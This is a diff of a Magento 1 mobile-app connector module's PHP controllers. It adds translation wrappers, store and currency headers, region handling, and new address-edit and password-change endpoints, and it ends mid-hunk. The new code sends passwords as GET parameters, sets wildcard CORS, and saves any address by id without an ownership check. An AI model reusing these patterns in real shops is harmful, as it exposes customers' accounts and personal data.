- echo json_encode(array('status'=>'error','message'=>'Street should not be empty'));
287
  exit;
288
  endif;
289
  if (!Zend_Validate::is($data['city'], 'NotEmpty')):
290
- echo json_encode(array('status'=>'error','message'=>'City should not be empty'));
291
  exit;
292
  endif;
293
  if (!Zend_Validate::is($data['country_id'], 'NotEmpty') || $data['country_id'] == 'undefined'):
294
- echo json_encode(array('status'=>'error','message'=>'Country_id should not be empty'));
295
  exit;
296
  endif;
297
- if (!Zend_Validate::is($data['region'], 'NotEmpty')):
 
 
298
  echo json_encode(array('status'=>'error','message'=>'Region should not be empty'));
299
  exit;
300
  endif;
301
  if (!Zend_Validate::is($data['postcode'], 'NotEmpty')):
302
- echo json_encode(array('status'=>'error','message'=>'Postcode should not be empty'));
303
  exit;
304
  endif;
305
  if (!Zend_Validate::is($data['telephone'], 'NotEmpty')):
306
- echo json_encode(array('status'=>'error','message'=>'Telephone should not be empty'));
307
  exit;
308
  endif;
309
 
310
  if($data['firstname']==null):
311
  echo json_encode ( array (
312
  'status' => 'error',
313
- 'message' => 'please enter the firstname,'));
314
  endif;
315
 
316
 
@@ -320,13 +332,18 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
320
  'street' => $data['street'],
321
  'city' => $data['city'],
322
  'country_id' => $data['country_id'],
323
- 'region' => $data['region'],
324
  'postcode' => $data['postcode'],
325
  'telephone' => $data['telephone'],
326
  'fax' => @$data['fax'],
327
  'is_default_billing' => '1',
328
  'is_default_shipping' => '1',
329
  );
 
 
 
 
 
330
 
331
  $address = Mage::getModel("customer/address");
332
  $address->addData($addressData);
@@ -335,7 +352,7 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
335
  try{
336
  $address->save();
337
  $result['id']=$address->getId();
338
- $result['message']='Address added successfully.';
339
  $result['status']='success';
340
 
341
  echo json_encode($result);
@@ -344,7 +361,7 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
344
 
345
  echo json_encode ( array (
346
  'status' => 'error',
347
- 'message' => $e->getMessage()
348
  ) );
349
  }
350
 
@@ -355,13 +372,20 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
355
 
356
  echo json_encode ( array (
357
  'status' => 'error',
358
- 'message' => 'No matched email data.'
359
  ) );
360
  $session->logout();
361
  }
362
 
363
  } catch (Exception $e) {
364
- echo $e->getMessage();
 
 
 
 
 
 
 
365
  }
366
 
367
 
@@ -398,7 +422,7 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
398
  else:
399
  echo json_encode ( array (
400
  'code' => '0x0001',
401
- 'message' => 'No matched email data.'
402
  ) );
403
  endif;
404
 
@@ -450,14 +474,14 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
450
 
451
  echo json_encode ( array (
452
  'code' => '0x0001',
453
- 'message' => 'No matched email data.'
454
  ) );
455
  $session->logout();
456
  }
457
 
458
  } catch (Exception $e) {
459
 
460
- echo $e->getMessage();
461
  }
462
 
463
 
@@ -510,10 +534,10 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
510
  if($data):
511
 
512
  Mage::helper('pushnotification')->registerdevice($data);
513
- echo json_encode(array('status'=>'success','message'=>'successfully registered.'));
514
  exit;
515
  else:
516
- echo json_encode(array('status'=>'error','message'=>'Error in data format.'));
517
  endif;
518
 
519
  }
@@ -617,10 +641,10 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
617
  $name= $item->getName();
618
  //echo $item->getName();
619
  if($item->getOriginalPrice() > 0) {
620
- $unitPrice = number_format($this->convert_currency(floatval($item->getOriginalPrice()),$basecurrencycode,$currency), 2, '.', '');
621
  }
622
  else {
623
- $unitPrice = number_format($this->convert_currency(floatval($item->getPrice()),$basecurrencycode,$currency), 2, '.', '');
624
  }
625
 
626
  $sku=$item->getSku();
@@ -652,13 +676,13 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
652
  "order_id" => $order->getRealOrderId(),
653
  "status" => $order->getStatus(),
654
  "order_date" => $order_date,
655
- "grand_total" => number_format($this->convert_currency(floatval($order->getGrandTotal()),$basecurrencycode,$currency), 2, '.', ''),
656
  "shipping_address" => $shippadd,
657
  "billing_address" => $billadd,
658
  "shipping_message" => $order->getShippingDescription(),
659
- "shipping_amount" => number_format($this->convert_currency(floatval($order->getShippingAmount()),$basecurrencycode,$currency), 2, '.', ''),
660
  "payment_method" => $payment_result,
661
- "tax_amount" => number_format($this->convert_currency(floatval($order->getTaxAmount()),$basecurrencycode,$currency), 2, '.', ''),
662
  "products" => $productlist,
663
  "order_currency" => $order->getOrderCurrencyCode(),
664
  "order_currency_symbol" => Mage::app()->getLocale()->currency($order->getOrderCurrencyCode())->getSymbol(),
@@ -681,7 +705,7 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
681
  }
682
  else{
683
 
684
- echo json_encode(array('status'=>'error','message'=>'Please Login to see the Orders'));
685
 
686
  }
687
 
@@ -730,7 +754,7 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
730
  endif;
731
 
732
  else:
733
- echo json_encode(array('status' => 'error','message'=>'Login First.'));
734
  exit;
735
 
736
  endif;
@@ -765,38 +789,154 @@ class Mss_Connector_CustomerController extends Mage_Core_Controller_Front_Action
765
  $data = Mage::app()->getRequest ()->getParam ('data');
766
 
767
 
768
- $customer_info = json_decode($data, true);
 
769
  if(isset($customer_info)){
770
 
771
 
772
  $customer->setFirstname($customer_info['firstname']);
773
  $customer->setLastname($customer_info['lastname']);
774
 
775
- $address = $customer->getPrimaryBillingAddress();
776
 
 
 
 
 
 
 
777
  $address->setFirstname($customer_info['firstname']);
778
  $address->setLastname($customer_info['lastname']);
779
- $address->setPhoneno($customer_info['telephone']);
780
- $address->setCity($customer_info['city']);
781
- $address->setState($customer_info['region']);
782
- $address->setCountry($customer_info['country']);
783
- $address->setPostcode($customer_info['postcode']);
 
 
784
  try{
 
785
  $address->save();
786
  $customer->save();
787
- echo json_encode(array('status' => 'success','message'=>'Data Updated successfully'));
788
  }
789
  catch(exception $e){
790
- echo json_encode(array('status' => 'error','message'=>'Data Not Updated'));
791
  }
792
  }else{
793
- echo json_encode(array('status' => 'error','message'=>'Data Not Updated'));
794
  }
795
  }
796
  else {
797
- echo json_encode(array('status' => 'error','message'=>'Login First.'));
798
  }
799
 
800
  }
801
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
802
  }
13
  const XML_PATH_CONFIRMED_EMAIL_TEMPLATE = 'customer/create_account/email_confirmed_template';
14
  const XML_PATH_GENERATE_HUMAN_FRIENDLY_ID = 'customer/create_account/generate_human_friendly_id';
15
 
16
+ public $storeId = "1";
17
+ public $viewId = "";
18
+ public $currency = "";
19
+
20
+
21
  public function _construct(){
22
 
23
  header('content-type: application/json; charset=utf-8');
24
  header("access-control-allow-origin: *");
25
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
26
+
27
+ $this->storeId = Mage::app()->getFrontController()->getRequest()->getHeader('storeId');
28
+ $this->viewId = Mage::app()->getFrontController()->getRequest()->getHeader('viewId');
29
+ $this->currency = Mage::app()->getFrontController()->getRequest()->getHeader('currency');
30
+ Mage::app()->setCurrentStore($this->storeId);
31
+
32
+
33
  parent::_construct();
34
 
35
  }
60
 
61
  $customerinfo = array (
62
  'id'=>$customer->getId(),
63
+ 'name' => $customer->getFirstname () .' '.$customer->getLastname (),
64
  'email' => $customer->getEmail (),
65
  );
66
 
67
  return $customerinfo;
68
+ } else return false;
 
 
69
  }
70
 
71
 
84
 
85
  try {
86
  if (!$session->login ( $username, $password )) {
87
+ echo json_encode(array('status' => 'error','message'=> $this->__('wrong username or password.')));
88
  exit;
89
  } else {
90
 
91
+ echo json_encode(array('status' => 'success','message'=>$this->__($this->statusAction ())));
92
  exit;
93
  }
94
  } catch ( Mage_Core_Exception $e ) {
95
  switch ($e->getCode ()) {
96
  case Mage_Customer_Model_Customer::EXCEPTION_EMAIL_NOT_CONFIRMED :
97
+ $value = Mage::helper ( 'customer' )->getEmailConfirmationUrl ( $username );
98
  $message = Mage::helper ( 'customer' )->__ ( 'This account is not confirmed. <a href="%s">Click here</a> to resend confirmation email.', $value );
99
  echo json_encode ( array (
100
  'status' => 'error',
101
+ 'message' => $this->__($message )
102
  ) );
103
  break;
104
  case Mage_Customer_Model_Customer::EXCEPTION_INVALID_EMAIL_OR_PASSWORD :
105
  $message = $e->getMessage ();
106
  echo json_encode ( array (
107
  'status' => 'error',
108
+ 'message' => $this->__($message )
109
  ) );
110
  break;
111
  default :
112
  $message = $e->getMessage ();
113
  echo json_encode ( array (
114
  'status' => 'error',
115
+ 'message' => $this->__($message )
116
  ) );
117
  }
118
  }
139
  echo json_encode ( array (
140
  false,
141
  '0x1100',
142
+ $this->__('empty password or email.')
143
  ) );
144
  return ;
145
  }
186
  } catch ( Mage_Core_Exception $e ) {
187
  if ($e->getCode () === Mage_Customer_Model_Customer::EXCEPTION_EMAIL_EXISTS) {
188
  $url = Mage::getUrl ( 'customer/account/forgotpassword' );
189
+ $message = $this->__( 'There is already an account with this email address. If you are sure that it is your email address, <a href="%s">click here</a> to get your password and access your account.', $url );
190
  $session->setEscapeMessages ( false );
191
  } else {
192
+ $message = $this->__($e->getMessage ());
193
  }
194
  echo json_encode ( array (
195
  false,
196
  '0x1000',
197
  array (
198
+ $this->__($message )
199
  )
200
  ) );
201
  } catch ( Exception $e ) {
202
  echo json_encode ( array (
203
  false,
204
  '0x1000',
205
+ $this->__($e->getMessage () )
206
  ) );
207
  }
208
  }
222
  ), $storeId );
223
  echo json_encode ( array (
224
  'status' => 'error',
225
+ 'message' => $this->__('Request has sent to your Email.')
226
  ) );
227
  } else
228
  echo json_encode ( array (
229
  'status' => 'error',
230
+ 'message' => $this->__('No matched email data.' )
231
  ) );
232
  }
233
  public function logoutAction() {
237
  Mage::getSingleton ( 'customer/session' )->logout();
238
  echo json_encode(array(true, '0x0000', null));
239
  } catch (Exception $e) {
240
+ echo json_encode(array(false, '0x1000', $this->__($e->getMessage())));
241
  }
242
  }
243
  protected function _user_isexists($email) {
285
 
286
 
287
  if (!Zend_Validate::is($data['firstname'], 'NotEmpty')):
288
+ echo json_encode(array('status'=>'error','message'=> $this->__('Firstname should not be empty')));
289
  exit;
290
  endif;
291
  if (!Zend_Validate::is($data['lastname'], 'NotEmpty')):
292
+ echo json_encode(array('status'=>'error','message'=> $this->__('Lastname should not be empty')));
293
  exit;
294
  endif;
295
  if (!Zend_Validate::is($data['street'], 'NotEmpty')):
296
+ echo json_encode(array('status'=>'error','message'=> $this->__('Street should not be empty')));
297
  exit;
298
  endif;
299
  if (!Zend_Validate::is($data['city'], 'NotEmpty')):
300
+ echo json_encode(array('status'=>'error','message'=> $this->__('City should not be empty')));
301
  exit;
302
  endif;
303
  if (!Zend_Validate::is($data['country_id'], 'NotEmpty') || $data['country_id'] == 'undefined'):
304
+ echo json_encode(array('status'=>'error','message'=> $this->__('Country_id should not be empty')));
305
  exit;
306
  endif;
307
+
308
+
309
+ if (!Zend_Validate::is($data['region'], 'NotEmpty') AND !Zend_Validate::is($data['region_id'], 'NotEmpty')):
310
  echo json_encode(array('status'=>'error','message'=>'Region should not be empty'));
311
  exit;
312
  endif;
313
  if (!Zend_Validate::is($data['postcode'], 'NotEmpty')):
314
+ echo json_encode(array('status'=>'error','message'=> $this->__('Postcode should not be empty')));
315
  exit;
316
  endif;
317
  if (!Zend_Validate::is($data['telephone'], 'NotEmpty')):
318
+ echo json_encode(array('status'=>'error','message'=> $this->__('Telephone should not be empty')));
319
  exit;
320
  endif;
321
 
322
  if($data['firstname']==null):
323
  echo json_encode ( array (
324
  'status' => 'error',
325
+ 'message' => $this->__('please enter the firstname,')));
326
  endif;
327
 
328
 
332
  'street' => $data['street'],
333
  'city' => $data['city'],
334
  'country_id' => $data['country_id'],
335
+ //'region' => $data['region'],
336
  'postcode' => $data['postcode'],
337
  'telephone' => $data['telephone'],
338
  'fax' => @$data['fax'],
339
  'is_default_billing' => '1',
340
  'is_default_shipping' => '1',
341
  );
342
+ if($data['region'])
343
+ $addressData['region'] = $data['region'];
344
+ else
345
+ $addressData['region_id'] = $data['region_id'];
346
+
347
 
348
  $address = Mage::getModel("customer/address");
349
  $address->addData($addressData);
352
  try{
353
  $address->save();
354
  $result['id']=$address->getId();
355
+ $result['message']= $this->__('Address added successfully.');
356
  $result['status']='success';
357
 
358
  echo json_encode($result);
361
 
362
  echo json_encode ( array (
363
  'status' => 'error',
364
+ 'message' => $this->__($e->getMessage())
365
  ) );
366
  }
367
 
372
 
373
  echo json_encode ( array (
374
  'status' => 'error',
375
+ 'message' => $this->__('No matched email data.')
376
  ) );
377
  $session->logout();
378
  }
379
 
380
  } catch (Exception $e) {
381
+
382
+
383
+ echo json_encode ( array (
384
+ 'status' => 'error',
385
+ 'message' => $e->getMessage()
386
+ ) );
387
+
388
+
389
  }
390
 
391
 
422
  else:
423
  echo json_encode ( array (
424
  'code' => '0x0001',
425
+ 'message' => $this->__('No matched email data.')
426
  ) );
427
  endif;
428
 
474
 
475
  echo json_encode ( array (
476
  'code' => '0x0001',
477
+ 'message' => $this->__('No matched email data.')
478
  ) );
479
  $session->logout();
480
  }
481
 
482
  } catch (Exception $e) {
483
 
484
+ echo $this->__($e->getMessage());
485
  }
486
 
487
 
534
  if($data):
535
 
536
  Mage::helper('pushnotification')->registerdevice($data);
537
+ echo json_encode(array('status'=>'success','message'=> $this->__('successfully registered.')));
538
  exit;
539
  else:
540
+ echo json_encode(array('status'=>'error','message'=> $this->__('Error in data format.')));
541
  endif;
542
 
543
  }
641
  $name= $item->getName();
642
  //echo $item->getName();
643
  if($item->getOriginalPrice() > 0) {
644
+ $unitPrice = number_format($item->getOriginalPrice(), 2, '.', '');
645
  }
646
  else {
647
+ $unitPrice = number_format($item->getPrice(), 2, '.', '');
648
  }
649
 
650
  $sku=$item->getSku();
676
  "order_id" => $order->getRealOrderId(),
677
  "status" => $order->getStatus(),
678
  "order_date" => $order_date,
679
+ "grand_total" => number_format($order->getGrandTotal(), 2, '.', ''),
680
  "shipping_address" => $shippadd,
681
  "billing_address" => $billadd,
682
  "shipping_message" => $order->getShippingDescription(),
683
+ "shipping_amount" => number_format($order->getShippingAmount(), 2, '.', ''),
684
  "payment_method" => $payment_result,
685
+ "tax_amount" => number_format($order->getTaxAmount(), 2, '.', ''),
686
  "products" => $productlist,
687
  "order_currency" => $order->getOrderCurrencyCode(),
688
  "order_currency_symbol" => Mage::app()->getLocale()->currency($order->getOrderCurrencyCode())->getSymbol(),
705
  }
706
  else{
707
 
708
+ echo json_encode(array('status'=>'error','message'=> $this->__('Please Login to see the Orders')));
709
 
710
  }
711
 
754
  endif;
755
 
756
  else:
757
+ echo json_encode(array('status' => 'error','message'=> $this->__('Login First.')));
758
  exit;
759
 
760
  endif;
789
  $data = Mage::app()->getRequest ()->getParam ('data');
790
 
791
 
792
+ $customer_info = json_decode($data, true);
793
+
794
  if(isset($customer_info)){
795
 
796
 
797
  $customer->setFirstname($customer_info['firstname']);
798
  $customer->setLastname($customer_info['lastname']);
799
 
800
+ $address = $customer->getPrimaryBillingAddress();
801
 
802
+ if(!$address):
803
+ $address = Mage::getModel("customer/address");
804
+ $address->setCustomerId($customer->getId());
805
+ $address->setIsDefaultBilling(true);
806
+ endif;
807
+
808
  $address->setFirstname($customer_info['firstname']);
809
  $address->setLastname($customer_info['lastname']);
810
+ $address->setPhoneno($customer_info['telephone']?:'null');
811
+ $address->setCity($customer_info['city']?:'null');
812
+ $address->setState($customer_info['region']?:'null');
813
+ $address->setCountry($customer_info['country']?:'null');
814
+ $address->setPostcode($customer_info['postcode']?:'null');
815
+
816
+
817
  try{
818
+
819
  $address->save();
820
  $customer->save();
821
+ echo json_encode(array('status' => 'success','message'=> $this->__('Data Updated successfully')));
822
  }
823
  catch(exception $e){
824
+ echo json_encode(array('status' => 'error','message'=> $this->__('Data Not Updated')));
825
  }
826
  }else{
827
+ echo json_encode(array('status' => 'error','message'=> $this->__('Data Not Updated')));
828
  }
829
  }
830
  else {
831
+ echo json_encode(array('status' => 'error','message'=> $this->__('Login First.')));
832
  }
833
 
834
  }
835
 
836
+ /*Clear wishList API*/
837
+ /*
838
+ URL : baseurl/restapi/customer/editCustomerAddress
839
+ Name : editCustomerAddress
840
+ Method : GET
841
+ Required fields : addressId*,addressData*
842
+ Response : JSON
843
+
844
+ */
845
+ public function editCustomerAddressAction(){
846
+
847
+ if (Mage::getSingleton ( 'customer/session' )->isLoggedIn()):
848
+
849
+ $addressId = $this->getRequest ()->getParam ('addressId');
850
+ $addressData = json_decode($this->getRequest ()->getParam ('addressData'),1);
851
+
852
+ $customer = Mage::getModel('customer/customer')->load(Mage::getSingleton ( 'customer/session' )->getCustomer()->getId());
853
+ $customer->setFirstname($addressData['firstname']);
854
+ $customer->setLastname ($addressData['lastname']);
855
+
856
+
857
+ $address = Mage::getModel('customer/address')->load($addressId);
858
+ $address->addData($addressData);
859
+ $address->setCustomerId($address->getCustomer()->getId());
860
+
861
+
862
+ try {
863
+ $address->setId($addressId);
864
+ $address->save();
865
+ $customer->save();
866
+ echo json_encode(array('status'=>'success','message'=>'Address Updated successfully.'));
867
+ exit;
868
+ }
869
+ catch (Mage_Core_Exception $e) {
870
+ echo json_encode(array('status'=>'error','message'=>$e->getMessage()));
871
+ exit;
872
+
873
+ }
874
+ else:
875
+ echo json_encode(array('status'=>'error','message'=>'Kindly Signin first.'));
876
+ exit;
877
+ endif;
878
+ }
879
+
880
+
881
+ /*Change password APi*/
882
+
883
+ /*
884
+ URL : baseurl/restapi/customer/changePassword
885
+ Name : changePassword
886
+ Method : GET
887
+ Required fields : oldpassword*,newpassword*
888
+ Response : JSON
889
+
890
+ */
891
+ public function changePasswordAction(){
892
+
893
+ $validate = 0;
894
+ $result = '';
895
+ $customer = Mage::getSingleton ( 'customer/session' );
896
+
897
+
898
+ if ($customer->isLoggedIn()):
899
+
900
+ $customerid = $customer->getCustomer()->getId();
901
+ $oldpassword = $this->getRequest ()->getParam ('oldpassword');
902
+ $newpassword = $this->getRequest ()->getParam ('newpassword');
903
+ $username = $customer->getCustomer()->getEmail();
904
+
905
+ $websiteId = Mage::getModel('core/store')->load($this->storeId)->getWebsiteId();
906
+ try {
907
+ $login_customer_result = Mage::getModel('customer/customer')->setWebsiteId('1')->authenticate($username, $oldpassword);
908
+ $validate = 1;
909
+ }
910
+ catch(Exception $ex) {
911
+ $validate = 0;
912
+ }
913
+ if($validate == 1) {
914
+ try {
915
+ $customer = Mage::getModel('customer/customer')->load($customerid);
916
+ $customer->setPassword($newpassword);
917
+ $customer->save();
918
+
919
+ echo json_encode(array('status'=>'success','message'=>'Your Password has been Changed Successfully'));
920
+ exit;
921
+ }
922
+ catch(Exception $ex) {
923
+ echo json_encode(array('status'=>'error','message'=>'Error : '.$ex->getMessage()));
924
+ exit;
925
+
926
+ }
927
+ }
928
+ else {
929
+
930
+ echo json_encode(array('status'=>'error','message'=>'Incorrect Old Password.'));
931
+ exit;
932
+ }
933
+
934
+ else:
935
+ echo json_encode(array('status'=>'error','message'=>'Kindly Signin first.'));
936
+ exit;
937
+ endif;
938
+
939
+
940
+ }
941
+
942
  }
app/code/local/Mss/Connector/controllers/FeedbackController.php CHANGED
@@ -18,7 +18,7 @@ class Mss_Connector_FeedbackController extends Mage_Core_Controller_Front_Action
18
  $message = Mage::app()->getRequest()->getParams('message');
19
 
20
  if($email):
21
- $result['message']='Thanks for your valuable feedback.';
22
  $result['status']='success';
23
 
24
  echo json_encode($result);
@@ -28,7 +28,7 @@ class Mss_Connector_FeedbackController extends Mage_Core_Controller_Front_Action
28
 
29
  echo json_encode ( array (
30
  'status' => 'error',
31
- 'message' =>'please enter the email !!'
32
  ) );
33
 
34
  }
18
  $message = Mage::app()->getRequest()->getParams('message');
19
 
20
  if($email):
21
+ $result['message']= $this->__('Thanks for your valuable feedback.');
22
  $result['status']='success';
23
 
24
  echo json_encode($result);
28
 
29
  echo json_encode ( array (
30
  'status' => 'error',
31
+ 'message' => $this->__('please enter the email !!' )
32
  ) );
33
 
34
  }
app/code/local/Mss/Connector/controllers/IndexController.php CHANGED
@@ -1,12 +1,23 @@
1
  <?php
2
  class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
3
 
 
 
 
 
 
4
  public function _construct(){
5
 
6
  header('content-type: application/json; charset=utf-8');
7
  header("access-control-allow-origin: *");
8
-
9
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
 
 
 
 
 
 
 
10
  parent::_construct();
11
 
12
  }
@@ -20,9 +31,9 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
20
 
21
  }
22
 
23
- protected function getCategoryTree($recursionLevel, $storeId = 1)
24
  {
25
- $parent = Mage::app()->getStore()->getRootCategoryId();
26
  $tree = Mage::getResourceModel('catalog/category_tree');
27
 
28
 
@@ -111,7 +122,7 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
111
  Mage::app ()->cleanCache ();
112
  $cmd = $this->getRequest ()->getParam ( 'cmd' );
113
  if (!Zend_Validate::is($cmd, 'NotEmpty')):
114
- echo json_encode(array('status'=>'error','message'=>'filter field should not be empty'));
115
  exit;
116
  endif;
117
  switch ($cmd) {
@@ -153,7 +164,7 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
153
  else
154
  {
155
 
156
- $_categorylist = array('status'=>'error','message'=>'No Record Found');
157
  exit;
158
  }
159
 
@@ -167,7 +178,7 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
167
  $categoryid = $this->getRequest ()->getParam ( 'categoryid' );
168
 
169
  if (!Zend_Validate::is($categoryid, 'NotEmpty')):
170
- echo json_encode(array('status'=>'error','message'=>'category id should not be empty'));
171
  exit;
172
  endif;
173
 
@@ -180,7 +191,7 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
180
 
181
 
182
  if (!$category->getId()):
183
- echo json_encode(array('status'=>'error','message'=>'category id does not exist'));
184
  exit;
185
  endif;
186
 
@@ -224,10 +235,10 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
224
  $collection=$collection->addAttributeToSort ( $order, $dir )/* ->setPage ( $page, $limit ) */;
225
  $pages = $collection->setPageSize ( $limit )->getLastPageNumber ();
226
  $count=$collection->getSize();
227
-
228
  if(!$count):
229
 
230
- echo json_encode(array('status'=>'error','message'=>'No Record Found'));
231
  exit;
232
  endif;
233
 
@@ -279,7 +290,7 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
279
  $count=$collection->getSize();
280
  if(!$count):
281
 
282
- echo json_encode(array('status'=>'error','message'=>'No Record Found'));
283
  exit;
284
  endif;
285
  if ($page <= $pages) {
@@ -343,7 +354,7 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
343
  $count=$collection->getSize();
344
  if(!$count):
345
 
346
- echo json_encode(array('status'=>'error','message'=>'No Record Found'));
347
  exit;
348
  endif;
349
  if ($page <= $pages) {
@@ -394,7 +405,7 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
394
  $pages = $collection->setPageSize ( $limit )->getLastPageNumber ();
395
  $count=$collection->getSize();
396
  if(!$count):
397
- echo json_encode(array('status'=>'error','message'=>'No Record Found'));
398
  exit;
399
  endif;
400
  if ($page <= $pages) {
@@ -427,13 +438,13 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
427
  $newsTo= substr($_productCollection->getData('news_to_date'),0,10);
428
 
429
  if(!$_productCollection->count()):
430
- echo json_encode(array('status'=>'error','message'=>'There are no products matching the selection'));
431
  else:
432
  if ($now>=$newsFrom && $now<=$newsTo)$i=0;
433
 
434
  $productlist = array ();
435
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
436
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
437
  foreach ( $_productCollection as $product ) {
438
 
439
  $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
@@ -451,11 +462,15 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
451
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
452
  'url_key' => $product->getProductUrl (),
453
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
454
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
455
- 'symbol'=> Mage::app()->getLocale()->currency(Mage::app()->getStore()->getCurrentCurrencyCode())->getSymbol(),
456
- 'qty'=>(int)Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId())->getQty(),//$product->getStockItem()->getData('qty')
 
 
 
457
  'rating' => $rating_final,
458
  'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
 
459
 
460
  );
461
  }
@@ -484,16 +499,16 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
484
 
485
  $productlist = array ();
486
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
487
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
488
 
489
- foreach ( $products as $product ) {
490
- if ($mod == 'catalog') {
491
- $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
492
 
 
 
493
  $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
494
- $rating_final = ($rating->getSum()/$rating->getCount())/20;
495
-
496
- }
497
  if($product->getTypeId() == "configurable")
498
  $qty = Mage::helper('connector')->getProductStockInfoById($product->getId());
499
  else
@@ -514,11 +529,15 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
514
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
515
  'url_key' => $product->getProductUrl (),
516
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
517
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
518
- 'symbol'=> Mage::app()->getLocale()->currency(Mage::app()->getStore()->getCurrentCurrencyCode())->getSymbol()?: Mage::app()->getStore()->getCurrentCurrencyCode(),
519
- 'qty'=>$qty,//$product->getStockItem()->getData('qty')
 
 
 
520
  'rating' => $rating_final,
521
  'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
 
522
  );
523
  endif;
524
  else:
@@ -534,14 +553,19 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
534
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
535
  'url_key' => $product->getProductUrl (),
536
  'regular_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
537
- 'final_price_with_tax' => number_format ( Mage::helper ( 'directory' )->currencyConvert ( $product->getSpecialPrice (), $baseCurrency, $currentCurrency ), 2, '.', '' ),
538
- 'symbol'=> Mage::app()->getLocale()->currency(Mage::app()->getStore()->getCurrentCurrencyCode())->getSymbol()?: Mage::app()->getStore()->getCurrentCurrencyCode(),
539
- 'qty'=>$qty,//$product->getStockItem()->getData('qty')
 
 
 
540
  'rating' => $rating_final,
541
  'wishlist' => Mage::helper('connector')->check_wishlist($product->getId ()),
542
- );
 
543
  endif;
544
- }
 
545
  return $productlist;
546
  }
547
 
@@ -581,27 +605,29 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
581
  echo json_encode(array($topproductslist,$newproductslist,$saleproductslist)); die;
582
  }
583
 
584
- public function getBestsellerProducts()
585
- {
586
- $products = Mage::getResourceModel('reports/product_collection')
587
- ->addOrderedQty()
588
- ->addAttributeToSelect('*')
589
- ->addAttributeToSelect(array('name', 'price', 'small_image'))
590
- ->addAttributeToFilter('visibility',array('eq'=>4))
591
- // ->setStoreId($storeId)
592
- // ->addStoreFilter($storeId)
593
-
594
- ->addViewsCount();
595
  Mage::getSingleton('catalog/product_status')->addVisibleFilterToCollection($products);
596
  Mage::getSingleton('catalog/product_visibility')->addVisibleInCatalogFilterToCollection($products);
597
 
598
  Mage::getSingleton('cataloginventory/stock')->addInStockFilterToCollection($products);
599
  $products->setPageSize(5)->setCurPage(1);
600
  //->getLastPageNumber ();
601
- $new_productlist = array ();
602
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
603
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
604
  foreach ( $products as $product ) {
 
 
605
 
606
  $product = Mage::getModel ( 'catalog/product' )->load ( $product ['entity_id'] );
607
  $rating = Mage::getModel('rating/rating')->getEntitySummary($product->getId());
@@ -623,11 +649,15 @@ class Mss_Connector_IndexController extends Mage_Core_Controller_Front_Action {
623
  'image_url' => Mage::helper('connector')-> Imageresize($product->getImage(),'product','300','300'),
624
  'url_key' => $product->getProductUrl (),
625
